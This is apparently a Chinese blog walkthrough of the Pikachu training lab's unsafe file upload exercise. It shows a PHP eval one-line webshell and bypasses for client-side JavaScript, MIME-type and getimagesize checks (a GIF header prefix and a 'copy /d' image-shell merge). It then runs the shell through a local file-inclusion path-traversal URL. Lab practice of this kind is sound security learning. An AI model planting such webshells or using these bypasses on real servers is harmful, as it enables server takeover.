【Pikachu】Unsafe upfileupload

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断

比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。

如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:

​ --验证文件类型、后缀名、大小;
​ --验证文件的上传方式;
​ --对文件进行一定复杂的重命名;
​ --不要暴露文件上传后的路径;

client check

image-20230816202622921

上传一句话木马1.php

<?php eval(@$_POST['password']);?>

报错显示说不符合要求

image-20230816202851732

查看页面代码,发现有js函数做验证

image-20230816202947181

前端校验不值一提,直接删除js校验函数

image-20230816203051214

这时候一句话木马已经上传,可以通过蚁剑来连接进入

木马上传的路径

192.168.80.139/pikachu/vul/unsafeupload/uploads/1.php

image-20230816203332319

image-20230816203418292

MIME Type

MIME(多用途互联网邮件扩展类型),是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图像image等,后面定义具体的种类,常见的MIME类型,比如:

超文本标记语言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg

继续提交php木马文件,使用Burpsuite抓取数据包,发送到Repeater修改Content-Type

image-20230816205716315

image-20230816205803517

getimagesize

菜鸟教程

GetimagesizePHP提供的一个用来判断目标文件是不是图片的函数

对文件的开头内容进行了检测并且通过二进制识别是否为图像,那么就可以利用文件头欺骗,来让getimagesize()函数检测无效。

1、制作图片木马方式一

这里用GIF的文件头,在一句话木马前加上GIF的文件头标识,后缀改为png格式

GIF89a
<?php phpinfo(); ?> 

image-20230816212939811

图片上传后保存的地址:http://192.168.80.139/pikachu/vul/unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.png

通过使用文件包含路径去访问后门文件

http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20230816213217472

2、制作图片木马方式二

准备一个jpeg格式的图片,还有一个php木马文件

通过CMD命令将两个合成一个ws.jpeg,生成的文件前面内容是2.jpeg,后面是12.php内容

copy /d 2.jpeg + 12.php   ws.jpeg

image-20230816213804670

上传ws.jpeg图片

image-20230816214021563

uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpeg

虽然我们绕过getimagesize(),成功上传图片,但只访问图片里面的php代码是执行不了的

需要通过文件包含路径去访问木马文件

http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpeg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20230816214220469

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip 【备注】 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用!有问题请及时沟通交流。 2、适用人群:计算机相关专业(如计科、信息安全、数据科学与大数据技术、人工智能、通信、物联网、自动化、电子信息等)在校学生、专业老师或者企业员工下载使用。 3、用途:项目具有较高的学习借鉴价值,不仅适用于小白学习入门进阶。也可作为毕设项目、课程设计、大作业、初期项目立项演示等。 4、如果基础还行,或热爱钻研,亦可在此项目代码基础上进行修改添加,实现其他不同功能。 欢迎下载!欢迎交流学习!不清楚的可以私信问我! 毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip毕设新项目-基于Java开发的智慧养老院信息管理系统源码+数据库(含vue前端源码).zip
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值